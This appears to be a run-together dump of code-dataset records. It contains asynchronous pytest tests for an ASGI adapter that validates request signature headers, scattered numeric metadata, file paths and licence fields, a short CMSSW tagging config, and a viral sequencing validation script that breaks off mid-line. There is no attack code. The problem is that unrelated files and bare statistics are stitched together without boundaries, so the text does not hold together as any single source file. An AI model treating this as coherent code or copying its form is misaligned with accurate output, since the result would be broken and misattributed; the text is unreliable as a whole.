adapter.process_request(http_scope, mock_receive, mock_send) mock_send.assert_has_awaits( [ mock.call( { "type": "http.response.start", "status": 400, "headers": [(b"content-type", b"text/plain; charset=UTF-8")], } ), mock.call( {"type": "http.response.body", "body": b"Content-Type must be application/json", "more_body": False} ), ] ) mock_receive.assert_awaited_once_with() stub_server.on_interaction.assert_not_called() @pytest.mark.asyncio() async def test_process_request_when_not_json_content_type( self, adapter: yuyo.AsgiAdapter, stub_server: hikari.api.InteractionServer, http_scope: asgiref.typing.HTTPScope ): http_scope["headers"] = [(b"Content-Type", b"NOT JSON")] mock_receive = mock.AsyncMock(return_value={"body": b"gay", "more_body": False}) mock_send = mock.AsyncMock() await adapter.process_request(http_scope, mock_receive, mock_send) mock_send.assert_has_awaits( [ mock.call( { "type": "http.response.start", "status": 400, "headers": [(b"content-type", b"text/plain; charset=UTF-8")], } ), mock.call( {"type": "http.response.body", "body": b"Content-Type must be application/json", "more_body": False} ), ] ) mock_receive.assert_awaited_once_with() stub_server.on_interaction.assert_not_called() @pytest.mark.asyncio() async def test_process_request_when_missing_timestamp_header( self, adapter: yuyo.AsgiAdapter, stub_server: hikari.api.InteractionServer, http_scope: asgiref.typing.HTTPScope ): http_scope["headers"] = [(b"Content-Type", b"application/json"), (b"x-signature-ed25519", b"676179")] mock_receive = mock.AsyncMock(return_value={"body": b"gay", "more_body": False}) mock_send = mock.AsyncMock() await adapter.process_request(http_scope, mock_receive, mock_send) mock_send.assert_has_awaits( [ mock.call( { "type": "http.response.start", "status": 400, "headers": [(b"content-type", b"text/plain; charset=UTF-8")], } ), mock.call( { "type": "http.response.body", "body": b"Missing required request signature header(s)", "more_body": False, } ), ] ) mock_receive.assert_awaited_once_with() stub_server.on_interaction.assert_not_called() @pytest.mark.asyncio() async def test_process_request_when_missing_ed25519_header( self, adapter: yuyo.AsgiAdapter, stub_server: hikari.api.InteractionServer, http_scope: asgiref.typing.HTTPScope ): http_scope["headers"] = [(b"Content-Type", b"application/json"), (b"x-signature-timestamp", b"87")] mock_receive = mock.AsyncMock(return_value={"body": b"gay", "more_body": False}) mock_send = mock.AsyncMock() await adapter.process_request(http_scope, mock_receive, mock_send) mock_send.assert_has_awaits( [ mock.call( { "type": "http.response.start", "status": 400, "headers": [(b"content-type", b"text/plain; charset=UTF-8")], } ), mock.call( { "type": "http.response.body", "body": b"Missing required request signature header(s)", "more_body": False, } ), ] ) mock_receive.assert_awaited_once_with() stub_server.on_interaction.assert_not_called() @pytest.mark.parametrize("header_value", ["🇯🇵".encode(), b"trans"]) @pytest.mark.asyncio() async def test_process_request_when_ed_25519_header_not_valid( self, adapter: yuyo.AsgiAdapter, stub_server: hikari.api.InteractionServer, http_scope: asgiref.typing.HTTPScope, header_value: bytes, ): http_scope["headers"] = [ (b"Content-Type", b"application/json"), (b"x-signature-timestamp", b"87"), (b"x-signature-ed25519", header_value), ] mock_receive = mock.AsyncMock(return_value={"body": b"gay", "more_body": False}) mock_send = mock.AsyncMock() await adapter.process_request(http_scope, mock_receive, mock_send) mock_send.assert_has_awaits( [ mock.call( { "type": "http.response.start", "status": 400, "headers": [(b"content-type", b"text/plain; charset=UTF-8")], } ), mock.call( { "type": "http.response.body", "body": b"Invalid ED25519 signature header found", "more_body": False, } ), ] ) mock_receive.assert_awaited_once_with() stub_server.on_interaction.assert_not_called() @pytest.mark.asyncio() async def test_process_request_when_on_interaction_raises( self, adapter: yuyo.AsgiAdapter, stub_server: hikari.api.InteractionServer, http_scope: asgiref.typing.HTTPScope ): http_scope["headers"] = [ (b"x-signature-timestamp", b"653245"), (b"random-header2", b"random value"), (b"x-signature-ed25519", b"7472616e73"), (b"random-header", b"random value"), (b"Content-Type", b"application/json"), ] mock_receive = mock.AsyncMock(return_value={"body": b"transive", "more_body": False}) mock_send = mock.AsyncMock() stub_error = Exception("💩") stub_server.on_interaction.side_effect = stub_error with pytest.raises(Exception, match=".*") as exc_info: await adapter.process_request(http_scope, mock_receive, mock_send) assert exc_info.value is stub_error mock_send.assert_has_awaits( [ mock.call( { "type": "http.response.start", "status": 500, "headers": [(b"content-type", b"text/plain; charset=UTF-8")], } ), mock.call( { "type": "http.response.body", "body": b"Internal Server Error", "more_body": False, } ), ] ) mock_receive.assert_awaited_once_with() stub_server.on_interaction.assert_awaited_once_with(b"transive", b"trans", b"653245") @pytest.mark.asyncio() async def test_process_request_when_no_response_headers_or_body( self, adapter: yuyo.AsgiAdapter, stub_server: hikari.api.InteractionServer, http_scope: asgiref.typing.HTTPScope ): http_scope["headers"] = [ (b"Content-Type", b"application/json"), (b"random-header2", b"random value"), (b"x-signature-ed25519", b"6e796161"), (b"x-signature-timestamp", b"321123"), (b"random-header", b"random value"), ] mock_receive = mock.AsyncMock( side_effect=[{"body": b"cat", "more_body": True}, {"body": b"girls", "more_body": False}] ) mock_send = mock.AsyncMock() stub_server.on_interaction.return_value.payload = None stub_server.on_interaction.return_value.headers = None await adapter.process_request(http_scope, mock_receive, mock_send) mock_send.assert_has_awaits( [ mock.call( { "type": "http.response.start", "status": stub_server.on_interaction.return_value.status_code, "headers": [], } ), mock.call( { "type": "http.response.body", "body": b"", "more_body": False, } ), ] ) mock_receive.assert_has_awaits([mock.call(), mock.call()]) stub_server.on_interaction.assert_awaited_once_with(bytearray(b"catgirls"), b"nyaa", b"321123")

41.608025

120

0.601847

2,936

26,962

5.249659

0.104905

0.049244

0.046714

0.04905

0.828327

0.809057

0.79699

0.783559

0.76695

0.756764

0

0.009144

0.290186

26,962

647

121

41.672334

0.79606

0.057859

0

0.629907

0

0.13043

0.011864

0

0.138318

1

0.007477

false

0

0.011215

0.005607

0.029907

0

null

0

1

0

null

0

6

dc2384083034870e5d823b519d483351a2bcd2e4

44

py

Python

src/crud/__init__.py

week-with-me/fastapi-mongodb

c1b319a5f93a4a5c9c7800506fd7a1313de38ac1

[ "MIT" ]

1

2021-12-21T15:01:28.000Z

src/crud/__init__.py

week-with-me/fastapi-mongodb

c1b319a5f93a4a5c9c7800506fd7a1313de38ac1

[ "MIT" ]

null

src/crud/__init__.py

week-with-me/fastapi-mongodb

c1b319a5f93a4a5c9c7800506fd7a1313de38ac1

[ "MIT" ]

null

from src.crud.question import question_crud

22

43

0.863636

7

44

5.285714

0.714286

0

0.090909

44

1

44

0.925

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

dc326d5ab81e1ad62905db56ece7bcbdb676c9b2

22

py

Python

text/color/tone/tones.py

jedhsu/text

8525b602d304ac571a629104c48703443244545c

[ "Apache-2.0" ]

null

text/color/tone/tones.py

jedhsu/text

8525b602d304ac571a629104c48703443244545c

[ "Apache-2.0" ]

null

text/color/tone/tones.py

jedhsu/text

8525b602d304ac571a629104c48703443244545c

[ "Apache-2.0" ]

null

""" *Tones* """

3.666667

11

0.227273

1

22

5

1

0

0.409091

22

5

12

4.4

0.384615

0.318182

0

null

0

null

0

null

0

null

1

null

true

0

null

1

0

null

0

1

0

1

0

null

0

1

0

6

dc59b198d06c9331333ee6b2e7d23f49ee80bf03

25

py

Python

thepeer/__init__.py

sirrobot01/thepeer-python

6a56d757ef68b7ca900c082d50cd84a9bfd0503d

[ "MIT" ]

1

2022-01-27T11:53:56.000Z

thepeer/__init__.py

sirrobot01/thepeer-python

6a56d757ef68b7ca900c082d50cd84a9bfd0503d

[ "MIT" ]

null

thepeer/__init__.py

sirrobot01/thepeer-python

6a56d757ef68b7ca900c082d50cd84a9bfd0503d

[ "MIT" ]

null

from peer import ThePeer

12.5

24

0.84

4

25

5.25

1

0

0.16

25

1

25

1

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

dc7e3f3355af6a2f928132e80ecbe81c79353c1e

588

py

Python

RecoBTag/CSVscikit/python/csvscikit_cff.py

flodamas/cmssw

fff9de2a54e62debab81057f8d6f8c82c2fd3dd6

[ "Apache-2.0" ]

null

RecoBTag/CSVscikit/python/csvscikit_cff.py

flodamas/cmssw

fff9de2a54e62debab81057f8d6f8c82c2fd3dd6

[ "Apache-2.0" ]

null

RecoBTag/CSVscikit/python/csvscikit_cff.py

flodamas/cmssw

fff9de2a54e62debab81057f8d6f8c82c2fd3dd6

[ "Apache-2.0" ]

null

#csvsckit tagger from RecoBTag.CSVscikit.csvscikit_EventSetup_cff import * from RecoBTag.CSVscikit.pfInclusiveSecondaryVertexFinderCvsLTagInfos_cfi import * from RecoBTag.CSVscikit.pfInclusiveSecondaryVertexFinderNegativeCvsLTagInfos_cfi import * from RecoBTag.CSVscikit.pfCombinedSecondaryVertexSoftLeptonCvsLJetTags_cfi import * from RecoBTag.CSVscikit.pfNegativeCombinedSecondaryVertexSoftLeptonCvsLJetTags_cfi import * from RecoBTag.CSVscikit.pfPositiveCombinedSecondaryVertexSoftLeptonCvsLJetTags_cfi import * from RecoBTag.CSVscikit.csvscikitTagJetTags_cfi import * #EDProducer

45.230769

91

0.901361

46

588

11.347826

0.347826

0.16092

0.281609

0.310345

0.287356

0

0.059524

588

12

92

49

0.943942

0.042517

0

1

0

true

0

1

0

1

0

1

null

0

1

0

null

0

1

0

1

0

1

0

6

dca735deeb09de66db007526147099416ac05e3f

35,753

py

Python

script/old/gen_techval-0.0.3.py

genepii/seqmet

89fdab79131c861d4a5aae364ecdbeb3a9e0ae23

[ "MIT" ]

null

script/old/gen_techval-0.0.3.py

genepii/seqmet

89fdab79131c861d4a5aae364ecdbeb3a9e0ae23

[ "MIT" ]

null

script/old/gen_techval-0.0.3.py

genepii/seqmet

89fdab79131c861d4a5aae364ecdbeb3a9e0ae23

[ "MIT" ]

null

#!/usr/bin/env python3 import os import sys import argparse import numpy as np import pandas as pd def path_asfileslist(path): if os.path.isdir(path): files_list = [] for (dirpath, dirnames, filenames) in os.walk(path): files_list.extend(filenames) return files_list else: raise argparse.ArgumentTypeError(f'readable_dir:{path} is not a valid path') def string_asfileslist(string): files_list = [] for path in string.split(','): if os.path.isdir(path): files_list.append(path) else: raise argparse.ArgumentTypeError(f'readable_dir:{path} is not a valid path') return files_list def table_aslist(table, separator): table_list = [] table_temp = [ x.split(separator) for x in open(table, 'r').read().replace('\r\n','\n').rstrip('\n').split('\n') ] for i in range(len(table_temp[0])): table_list.append([]) for i in range(len(table_temp)): for j in range(len(table_temp[i])): table_list[j].append(table_temp[i][j]) return table_list def table_asdf(table, separator): table_temp = [ [ y.strip('"') for y in x.split(separator)[1:] ] for x in open(table, 'r').read().replace('\r\n','\n').rstrip('\n').split('\n')[1:] ] row_names = [ x.split(separator)[0] for x in open(table, 'r').read().replace('\r\n','\n').rstrip('\n').split('\n')[1:] ] column_names = open(table, 'r').read().replace('\r\n','\n').rstrip('\n').split('\n')[0].split(separator)[1:] table_df = pd.DataFrame(table_temp, columns = column_names, index=row_names) return table_df def filter_table(table, filter_list): outtable_index = [] outtable = [] for i in range(len(table[0])): if any(f for f in filter_list if f in table[0][i]): outtable_index.append(i) for i in range(len(table)): outtable.append([]) for i in range(len(table)): for j in range(len(outtable_index)): outtable[i].append(table[i][outtable_index[j]]) return outtable def filter_dfrownames(df, filter_list, mode): subsample_index = [] for i in range(len(list(df.index))): if len([ x for x in filter_list if x in df.index[i]]) > 0: subsample_index.append(list(df.index)[i]) if mode == 'keep': return df.filter(items = subsample_index, axis=0) elif mode == 'drop': return df.drop(list(df.filter(items = subsample_index, axis=0).index.values)) def seek_dp(value, separator, threshold): value_list = [ int(x) for x in value.split(separator) if x.isdigit() ] if len(value_list) == 0: return "NA" elif max(value_list) >= threshold: return "DP" else: return "NO" def seek_varcount(value, separator, threshold): #value_list = [ int(x) for x in value.split(separator) if x.isdigit() ] if np.isnan(value): return "NA" elif int(value) >= threshold: return "VARCOUNT" + str(int(value)) else: return "NO" def gen_metrics(value, separator, threshold): value_list = [ int(x) for x in value.split(separator) if x.isdigit() ] if len(value_list) == 0: return "NA" elif max(value_list) >= threshold: return "VARCOUNT>=" + str(threshold) else: return "NO" def validate_column_ncov(value, criteria, separator, threshold): criteria_list = [ float(x) for x in criteria.split(separator) if x != 'NA' ] if value in ['', 'nan'] and min(criteria_list) > threshold: return "ABSCLADE" elif len(criteria_list) == 0: return "ININT" elif min(criteria_list) < threshold: return "ININT" else: return value def validate_column_fluabv(value, criteria1, criteria2, separator, threshold, qc): criteria1_list = [ float(x) for x in criteria1.split(separator) if x != 'NA' ] criteria2_list = [ float(x) for x in criteria2.split(separator) if x != 'NA' ] if qc not in ['good', 'mediocre']: return "ININT" elif value in ['', 'nan'] and min(criteria1_list) > threshold and min(criteria2_list) > threshold: return "ABSCLADE" elif len(criteria1_list) == 0 or len(criteria2_list) == 0: return "ININT" elif min(criteria1_list) < threshold or min(criteria2_list) < threshold: return "ININT" else: return value def list_position(value, valuesep, rangesep): if value == '' or value == 'nan': poslist = [] else: poslist = [] rangelist = [ x for x in value.split(rangesep) ] for x in rangelist: poslist.append(range(int(x.split(valuesep)[0]),int(x.split(valuesep)[-1])+1)) poslist = [pos for plist in poslist for pos in plist] return poslist def list_intersect(containedl, containingl, mode, threshold): foundpos = [ str(x) for x in containedl if x in containingl ] if mode == 'match': return ';'.join(foundpos) elif mode == 'missing': return ';'.join([ x for x in containedl if x not in containingl ]) nbcontained = len(containingl)-len(foundpos) perccontained = nbcontained/len(containingl) if mode == 'include': criteria = perccontained elif mode == 'exclude': criteria = 100-perccontained if criteria < threshold: return "NO" else: return "YES" def match_submatrix_ncov(lineage, clade, header, mode): if len([ x for x in header[4:] if len(x.split('_'))!= 3 ]) > 0: sys.exit("submatrix seems to be malformed : " + ';'.join([ x for x in header[4:] if len(x.split('_'))!= 3 ])) header_clade = [ x.split('_')[0] for x in header] header_comment_temp = [ x.split('_')[1] if len(x.split('_'))== 3 else 'NA' for x in header] header_comment = [ x if x!='' else 'Lignage non surveille par Sante Publique France' for x in header_comment_temp] header_lineage = [ x.split('_')[-1] for x in header] if lineage in header_lineage: if mode == 'match': return lineage if mode == 'index': return header_lineage.index(lineage) if mode == 'comment': return header_comment[header_lineage.index(lineage)] elif '.'.join(lineage.split('.')[0:-1]) in header_lineage and '.'.join(lineage.split('.')[0:-1]) not in ['','A','B','C']: if mode == 'match': return '.'.join(lineage.split('.')[0:-1]) if mode == 'index': return header_lineage.index('.'.join(lineage.split('.')[0:-1])) if mode == 'comment': return header_comment[header_lineage.index('.'.join(lineage.split('.')[0:-1]))] elif '.'.join(lineage.split('.')[0:-2]) in header_lineage and '.'.join(lineage.split('.')[0:-2]) not in ['','A','B','C']: if mode == 'match': return '.'.join(lineage.split('.')[0:-2]) if mode == 'index': return header_lineage.index('.'.join(lineage.split('.')[0:-2])) if mode == 'comment': return header_comment[header_lineage.index('.'.join(lineage.split('.')[0:-2]))] elif '.'.join(lineage.split('.')[0:-3]) in header_lineage and '.'.join(lineage.split('.')[0:-3]) not in ['','A','B','C']: if mode == 'match': return '.'.join(lineage.split('.')[0:-3]) if mode == 'index': return header_lineage.index('.'.join(lineage.split('.')[0:-3])) if mode == 'comment': return header_comment[header_lineage.index('.'.join(lineage.split('.')[0:-3]))] elif clade in header_clade: if mode == 'match': return clade if mode == 'index': return header_clade.index(clade) if mode == 'comment': return header_comment[header_clade.index(clade)] else: if mode == 'match': return 'NA' if mode == 'index': return header_clade.index('ININT') if mode == 'comment': return '' def match_submatrix_fluabv(lineage, clade, header, mode): if len([ x for x in header[4:] if len(x.split('_'))!= 3 ]) > 0: sys.exit("submatrix seems to be malformed : " + ';'.join([ x for x in header[4:] if len(x.split('_'))!= 3 ])) header_clade = [ x.split('_')[0] for x in header] header_comment_temp = [ x.split('_')[1] if len(x.split('_'))== 3 else 'NA' for x in header] header_comment = [ x if x!='' else '' for x in header_comment_temp] if clade in header_clade: if mode == 'match': return clade if mode == 'index': return header_clade.index(clade) if mode == 'comment': return header_comment[header_clade.index(clade)] elif '/'.join(clade.split('/')[0:-1]) in header_clade: if mode == 'match': return '/'.join(clade.split('/')[0:-1]) if mode == 'index': return header_clade.index('/'.join(clade.split('/')[0:-1])) if mode == 'comment': return header_comment[header_clade.index('/'.join(clade.split('/')[0:-1]))] else: if mode == 'match': return 'NA' if mode == 'index': return header_clade.index('ININT') if mode == 'comment': return '' def seek_expectedprofile_ncov(poslist, aasub): expectedprofile = [] for i in range(1,len(poslist)): if aasub[i] != '': expectedprofile.append('S:' + poslist[i] + aasub[i]) return expectedprofile def seek_expectedprofile_fluabv(poslist, aasub): expectedprofile = [] for i in range(1,len(poslist)): if aasub[i] != '': expectedprofile.append(poslist[i] + aasub[i]) return expectedprofile def seek_nocovsub_ncov(poslist, missingpos): expectedpos_nucl = [ [(int(''.join(filter(str.isdigit, x))))*3-2+21562,(int(''.join(filter(str.isdigit, x))))*3-1+21562,(int(''.join(filter(str.isdigit, x))))*3+21562] for x in poslist[1:] ] expectedpos = [ x for x in poslist[1:] ] nocovsub = [] for i in range(len(expectedpos)): if expectedpos_nucl[i][0] in missingpos or expectedpos_nucl[i][1] in missingpos or expectedpos_nucl[i][2] in missingpos: nocovsub.append(expectedpos[i]) return nocovsub def seek_nocovsub_fluabv(poslist, missingpos): expectedpos_nucl = [ [(int(''.join(filter(str.isdigit, x))))*3-2+21562,(int(''.join(filter(str.isdigit, x))))*3-1+21562,(int(''.join(filter(str.isdigit, x))))*3+21562] for x in poslist[1:] ] expectedpos = [ x for x in poslist[1:] ] nocovsub = [] for i in range(len(expectedpos)): if expectedpos_nucl[i][0] in missingpos or expectedpos_nucl[i][1] in missingpos or expectedpos_nucl[i][2] in missingpos: nocovsub.append(expectedpos[i]) return nocovsub def seek_insertion_ncov(insstring): inslist = [ x for x in insstring.split(',') if x not in ['', 'nan'] ] insertions = [] for i in range(0, len(inslist)): if inslist[i] == '22204:GAGCCAGAA': insertions.append('S:ins214EPE') elif int(inslist[i].split(':')[0]) in list_nucrbd: insertions.append('S:ins' + inslist[i].split(':')[0] + inslist[i].split(':')[1]) insertions.append('S:insAVISBIO') return ','.join(insertions) def seek_insertion_fluabv(insstring): inslist = [ x for x in insstring.split(',') if x not in ['', 'nan'] ] insertions = [] for i in range(0, len(inslist)): insertions.append('Ins' + inslist[i].split(':')[0] + ':' + inslist[i].split(':')[1]) insertions.append('S:insAVISBIO') return ','.join(insertions) def validate_result_ncov(nextclade, dp, varcount, hasposc, val_nocovsub, val_missingsub): result = '' nocovsubpos = [ int(x[1:]) for x in val_nocovsub ] if nextclade == 'ININT': if hasposc == 'FAILED': return 'REPASSE CI FAILED' else: return 'ININT' else: result = nextclade if (dp != 'NO' and dp != 'NA') or (varcount != 'NO' and varcount != 'NA'): result += '_REPASSE' if dp != 'NO' and dp != 'NA': result += '_' + dp if varcount != 'NO' and varcount != 'NA': result += '_' + varcount if [ x for x in val_missingsub.split(';') if x.lstrip('S:')[:-1] not in [''] ] != []: result += '_AVIS BIO' elif len(list_intersect(nocovsubpos, list_aarbm, 'match', 100)) > 0: result += '_AVIS BIO' result += ' ' + args.nextcladeversion return result def validate_result_fluabv(nextclade, dp, varcount, hasposc, val_nocovsub, val_missingsub): result = '' nocovsubpos = [ int(x[1:]) for x in val_nocovsub ] if nextclade == 'ININT': if hasposc == 'FAILED': return 'REPASSE CI FAILED' else: return 'ININT' else: result = datatype + ' - Clade ' + nextclade if (dp != 'NO' and dp != 'NA') or (varcount != 'NO' and varcount != 'NA'): result += '_REPASSE' if dp != 'NO' and dp != 'NA': result += '_' + dp if varcount != 'NO' and varcount != 'NA': result += '_' + varcount result += ' ' + args.nextcladeversion return result def gen_commentary_ncov(classmatch, substitutions, deletions, insertions, nocovsub, comment, atypicsub, atypicindel): if classmatch == 'ININT': return 'DSC' commentary = 'Profil de la spike : ' commentary += ';'.join(substitutions) if len(deletions) > 0: commentary += '|' + ';'.join(deletions) if len(insertions) > 0: commentary += '|' + ';'.join(insertions) if nocovsub != []: nocovsubpos = [ int(x[1:]) for x in nocovsub ] if len(list_intersect(nocovsubpos, list_aarbm, 'match', 100)) > 0: commentary += " ~ Rendu sous reserve compte tenu de(s) position(s) d'interet suivante(s) non couvertes sur la spike : " + ';'.join(nocovsub) else: commentary += " ~ Position(s) d'interet suivante(s) non couvertes sur la spike : " + ';'.join(nocovsub) commentary += " ~ " + comment + " (" + submatrix_version[4:] + "." + submatrix_version[2:4] + "." + submatrix_version[0:2] + ")" if (atypicsub != [''] or atypicindel != ['']) and classmatch not in list_submatrix_header_clade: commentary += " ~ Profil atypique :" if atypicsub != ['']: commentary += " substitution(s) " + ";".join(atypicsub) + " presente(s) sur le RBD" if atypicsub != [''] and atypicindel != ['']: commentary += " -" if atypicindel != ['']: commentary += " indel(s) " + ";".join(atypicindel) + " present(s)" elif classmatch not in list_submatrix_header_clade: commentary += " ~ Profil typique du RBD" commentary += '.' return commentary def gen_commentary_fluabv(classmatch, substitutions, deletions, insertions, nocovsub, comment, atypicsub, atypicindel): if classmatch == 'ININT': return 'DSC' commentary = "Profil des positions d'interet de S4 : " commentary += ';'.join(substitutions) if len(deletions) > 0: commentary += '|' + ';'.join(deletions) if len(insertions) > 0: commentary += '|' + ';'.join(insertions) if nocovsub != []: nocovsubpos = [ int(x[1:]) for x in nocovsub ] commentary += " ~ Position(s) d'interet suivante(s) non couvertes sur HA : " + ';'.join(nocovsub) if comment != '': commentary += " ~ " + comment + " (" + submatrix_version[4:] + "." + submatrix_version[2:4] + "." + submatrix_version[0:2] + ")" if (atypicsub != [''] or atypicindel != ['']) and classmatch not in list_submatrix_header_clade: commentary += " ~ Profil atypique :" if atypicsub != ['']: commentary += " substitution(s) " + ";".join(atypicsub) + " presente(s) sur HA" if atypicsub != [''] and atypicindel != ['']: commentary += " -" if atypicindel != ['']: commentary += " indel(s) " + ";".join(atypicindel) + " present(s)" elif classmatch not in list_submatrix_header_clade: commentary += " ~ Profil typique" commentary += '.' return commentary parser = argparse.ArgumentParser(description='Generate a validation report from seqmet files') debugmode = parser.add_mutually_exclusive_group() debugmode.add_argument('-v', '--verbose', action='store_true') debugmode.add_argument('-q', '--quiet', action='store_true') parser.add_argument('--version', action='version', version='0.0.3') parser.add_argument('-r', '--rundate', help='rundate prefix') depthdata = parser.add_mutually_exclusive_group() depthdata.add_argument('-d', '--depthfiledir', help='the base', type=path_asfileslist) depthdata.add_argument('-l', '--depthfilelist', help='the base', type=string_asfileslist) parser.add_argument('-s', '--summary', help='the base') parser.add_argument('-n', '--nextclade', help='the base') parser.add_argument('-p', '--pangolin', help='the base') parser.add_argument('-x', '--nextcladeversion', help='the base') parser.add_argument('-t', '--vartable', help='the base') parser.add_argument('-m', '--submatrix', help='the base') parser.add_argument('--mode', help='the base') parser.add_argument('--varcount_threshold', type=int, default=13, help='the base') parser.add_argument('--dp_threshold', type=int, default=6, help='the base') parser.add_argument('--cov_minok', type=int, default=90, help='the base') parser.add_argument('--cov_maxneg', type=int, default=5, help='the base') parser.add_argument('--error_plate', default='', help='the base') parser.add_argument('-o', '--outdir', help='output files to specified dir', default='./') if __name__ == '__main__': args = parser.parse_args() if args.mode == 'ncov': run_date = args.rundate datatype = args.submatrix.split('_')[1] submatrix_version = args.submatrix.split('-')[-1].split('.')[0] df_var = table_asdf(args.vartable, '\t') df_var = df_var.apply(pd.to_numeric, errors='coerce').fillna(df_var) df_summary = table_asdf(args.summary, '\t') df_nextclade = table_asdf(args.nextclade, '\t') df_pangolin = table_asdf(args.pangolin, ',') df_submatrix = table_asdf(args.submatrix, '\t') list_submatrix = table_aslist(args.submatrix, '\t') list_submatrix_header = [ x[0] for x in table_aslist(args.submatrix, '\t') ] list_submatrix_header_clade = [ x[0].split('_')[0] for x in table_aslist(args.submatrix, '\t') ] list_submatrix_header_lineage = [ x[0].split('_')[-1] for x in table_aslist(args.submatrix, '\t') ] list_aarbd = range(333,528) list_aarbm = range(438,507) list_nucrbd = range(21563,25386) list_nucrbm = range(22874,23081) list_errorplate = args.error_plate.split(',') df_validation = pd.concat([df_summary.add_prefix('summary_'), df_nextclade.add_prefix('nextclade_'), df_pangolin.add_prefix('pangolin_')], axis=1) df_validation['val_dp'] = df_validation.apply(lambda x : seek_dp(x.summary_hasdp, '//', args.dp_threshold) , axis=1) df_validation['val_varcount'] = df_validation[['summary_10-20%', 'summary_20-50%']].apply(lambda x: pd.to_numeric(x, errors='coerce')).sum(axis = 1, skipna = False, min_count=2).apply(lambda x : seek_varcount(x, '//', args.varcount_threshold)) df_validation['val_plate'] = df_validation.apply(lambda x : x.name.split('-')[0] , axis=1) df_validation['val_sampleid'] = df_validation.apply(lambda x : x.name.split('-')[1].split('_')[0] , axis=1) df_validation['val_platewell'] = df_validation.apply(lambda x : x.name.split('_')[-1] , axis=1) df_validation['val_nextclade'] = df_validation.apply(lambda x : validate_column_ncov(x.nextclade_clade, x.summary_percCOV, ';', args.cov_minok) , axis=1) df_validation['val_pangolin'] = df_validation.apply(lambda x : validate_column_ncov(x.pangolin_lineage, x.summary_percCOV, ';', args.cov_minok) , axis=1) df_validation['stat_missingpos'] = df_validation.apply(lambda x : list_position(str(x.nextclade_missing), '-', ',') , axis=1) df_validation['val_rbmcovered'] = df_validation.apply(lambda x : list_intersect(x.stat_missingpos, list_nucrbm, 'exclude', 100) , axis=1) df_validation['val_classmatch'] = df_validation.apply(lambda x : match_submatrix_ncov(x.val_pangolin, x.val_nextclade, list_submatrix_header, "match") , axis=1) df_validation['val_classindex'] = df_validation.apply(lambda x : match_submatrix_ncov(x.val_pangolin, x.val_nextclade, list_submatrix_header, "index") , axis=1) df_validation['val_classcomment'] = df_validation.apply(lambda x : match_submatrix_ncov(x.val_pangolin, x.val_nextclade, list_submatrix_header, "comment") , axis=1) df_validation['val_insertions'] = df_validation.apply(lambda x : seek_insertion_ncov(str(x.nextclade_insertions)) , axis=1) df_validation['val_expectedprofile'] = df_validation.apply(lambda x : seek_expectedprofile_ncov(list_submatrix[0], list_submatrix[int(x.val_classindex)]) , axis=1) df_validation['val_nocovsub'] = df_validation.apply(lambda x : seek_nocovsub_ncov(list_submatrix[0], x.stat_missingpos) , axis=1) df_validation['val_missingsub'] = df_validation.apply(lambda x : list_intersect(x.val_expectedprofile, [y for y in (str(x.nextclade_aaSubstitutions) + "," + str(x.nextclade_aaDeletions) + "," + str(x.val_insertions)).split(',')], 'missing', 100) , axis=1) df_validation['val_atypicsub'] = df_validation.apply(lambda x : list_intersect([y for y in (str(x.nextclade_aaSubstitutions)).split(',') if y[0:2] == 'S:' and (int(''.join(filter(str.isdigit, y)))) in list_aarbd and y not in ['', 'nan']], x.val_expectedprofile, 'missing', 100) , axis=1) df_validation['val_atypicindel'] = df_validation.apply(lambda x : list_intersect([y for y in (str(x.nextclade_aaDeletions) + "," + str(x.val_insertions)).split(',') if y[0:2] == 'S:' and y != 'S:ins214EPE' and y not in ['', 'nan']], x.val_expectedprofile, 'missing', 100) , axis=1) df_validation['val_result'] = df_validation.apply(lambda x : validate_result_ncov(x.val_nextclade, x.val_dp, x.val_varcount, x.summary_hasposc, x.val_nocovsub, x.val_missingsub) , axis=1) df_validation['val_commentary'] = df_validation.apply(lambda x : gen_commentary_ncov(x.val_classmatch, [y for y in str(x.nextclade_aaSubstitutions).split(',') if y[0:2] == 'S:' and y not in ['', 'nan']], [y for y in str(x.nextclade_aaDeletions).split(',') if y[0:2] == 'S:' and y not in ['', 'nan']], [y for y in str(x.val_insertions).split(',') if y[0:2] == 'S:' and y not in ['', 'nan']], x.val_nocovsub, x.val_classcomment, x.val_atypicsub.split(';'), x.val_atypicindel.split(';')), axis=1) df_validation['val_error'] = df_validation.apply(lambda x : 'ERROR' if x.val_plate in list_errorplate else "OK", axis=1) df_validation['stat_simpleprofile'] = df_validation.apply(lambda x : x.val_nextclade + ' - ' + x.val_atypicsub , axis=1) df_var_major = filter_dfrownames(df_var, ['|MAJOR'], 'keep') df_var_major_indel = filter_dfrownames(df_var_major, ['|DEL|', '|INS|', '|COMPLEX|'], 'keep') df_validation_sample = filter_dfrownames(df_validation, ['Tpos', 'PCR', 'NT', 'Neg', 'neg', 'T-', 'TVide', 'Tvide'], 'drop') df_validation_control = filter_dfrownames(df_validation, ['Tpos', 'PCR', 'NT', 'Neg', 'neg', 'T-', 'TVide', 'Tvide'], 'keep') df_validation_nt = filter_dfrownames(df_validation, ['NT', 'PCR', 'Neg', 'neg', 'T-', 'TVide', 'Tvide'], 'keep') df_validation_20a = filter_dfrownames(df_validation, ['TposPl'], 'keep') df_validation_20j = filter_dfrownames(df_validation, ['TposV3'], 'keep') df_validation_19b = filter_dfrownames(df_validation, ['Tpos19B'], 'keep') df_var_major_indel[df_var_major_indel > 0].count(axis=1).to_csv(args.outdir + run_date + '_' + datatype + '_indel.tsv', sep='\t', index_label='variant', header=["count"]) df_validation_control[['summary_percCOV', 'nextclade_clade', 'nextclade_totalAminoacidSubstitutions']].replace(r'^\s*$', np.nan, regex=True).fillna('ININT').to_csv(args.outdir + run_date + '_' + datatype + '_control.tsv', sep='\t', index_label='control') df_validation_sample['stat_simpleprofile'].value_counts().sort_index(axis = 0).to_csv(args.outdir + run_date + '_' + datatype + '_runsummary.tsv', sep='\t', index_label='Clade') df_metrics = pd.concat([ df_validation_sample[df_validation_sample['summary_percCOV'].apply(pd.to_numeric, errors='coerce') < args.cov_minok]['val_plate'].value_counts(), df_validation_sample.loc[(~df_validation_sample['val_dp'].isin(['NO','NA'])) & (~df_validation_sample['val_commentary'].isin(['DSC','NA']))]['val_plate'].value_counts(), df_validation_sample.loc[(~df_validation_sample['val_varcount'].isin(['NO','NA'])) & (~df_validation_sample['val_commentary'].isin(['DSC','NA']))]['val_plate'].value_counts(), df_validation_sample[df_validation_sample['summary_hasposc'].isin(['FAILED'])]['val_plate'].value_counts(), 